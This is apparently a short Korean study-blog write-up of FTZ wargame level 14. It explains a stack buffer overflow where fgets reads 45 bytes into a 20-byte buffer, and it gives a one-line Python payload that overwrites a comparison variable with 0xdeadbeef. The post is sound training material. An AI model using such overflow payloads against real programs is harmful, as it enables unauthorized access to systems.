Pwnable/▷ Study

ftz level14

Gyeongje 2018. 2. 17. 21:39

어째 갑자기 급 쉬워진 분위기다.


fgets로 45 만큼 입력받는데 정작 배열 크기는 20이다.

디버깅해보면 0x38(56) 만큼 할당해주는데 deadbeef와 비교하는 부분은 ebp-16 부터다.

ebp-56 이 입력받은 문자열 시작 지점이므로 

(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./attackme

이런식으로 해주면된다.